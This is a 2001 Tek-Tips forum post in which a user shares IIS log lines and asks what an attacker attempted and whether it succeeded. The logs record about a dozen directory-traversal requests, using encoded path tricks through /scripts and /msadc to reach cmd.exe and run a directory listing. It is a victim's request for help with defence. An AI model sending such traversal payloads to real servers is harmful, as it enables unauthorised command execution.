Tek-Tips is the largest IT community on the Internet today!

Members share and learn making Tek-Tips Forums the best source of peer-reviewed technical information on the Internet!

  • Congratulations biv343 on being selected by the Tek-Tips community for having the most helpful posts in the forums last week. Way to Go!

Strange log entries..

Status
Not open for further replies.

NightWatcher

Programmer
Jul 8, 2001
95
GB
Hi..
I have attached part of my IIS log file, which is a bit strange..
Can anyone help me to understand, what happend.

----------------------------------------
2001-07-22 09:02:20 202.207.144.6 - 000.000.000.000 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir 502 -
2001-07-22 09:02:20 202.207.144.6 - 000.000.000.000 80 GET /scripts/..\../winnt/system32/cmd.exe /c+dir 502 -
2001-07-22 09:02:22 202.207.144.6 - 000.000.000.000 80 GET /scripts/..Á%pc../winnt/system32/cmd.exe /c+dir 500 -
2001-07-22 09:02:22 202.207.144.6 - 000.000.000.000 80 GET /scripts/..À%9v../winnt/system32/cmd.exe /c+dir 500 -
2001-07-22 09:02:25 202.207.144.6 - 000.000.000.000 80 GET /scripts/..À%qf../winnt/system32/cmd.exe /c+dir 500 -
2001-07-22 09:02:29 202.207.144.6 - 000.000.000.000 80 GET /scripts/..Á%8s../winnt/system32/cmd.exe /c+dir 500 -
2001-07-22 09:02:29 202.207.144.6 - 000.000.000.000 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 500 -
2001-07-22 09:02:31 202.207.144.6 - 000.000.000.000 80 GET /scripts/..\../winnt/system32/cmd.exe /c+dir 502 -
2001-07-22 09:02:35 202.207.144.6 - 000.000.000.000 80 GET /scripts/..o../winnt/system32/cmd.exe /c+dir 404 -
2001-07-22 09:02:40 202.207.144.6 - 000.000.000.000 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir 502 -
2001-07-22 09:02:44 202.207.144.6 - 000.000.000.000 80 GET /scripts/..ð€€¯../winnt/system32/cmd.exe /c+dir 404 -
2001-07-22 09:02:49 202.207.144.6 - 000.000.000.000 80 GET /scripts/..ø€€€¯../winnt/system32/cmd.exe /c+dir 404 -
2001-07-22 09:02:50 202.207.144.6 - 000.000.000.000 80 GET /scripts/..ü€€€€¯../winnt/system32/cmd.exe /c+dir 404 -
2001-07-22 09:02:55 202.207.144.6 - 000.000.000.000 80 GET /msadc/../../../../../../winnt/system32/cmd.exe /c+dir 403 -
----------------------------------------

The 000.000.000.000 is where my IP was.
What was it that they were trying to do?
And, did they susceeded?

Thank you.


NightWatcher
 
Status
Not open for further replies.

Part and Inventory Search

Sponsor

Back
Top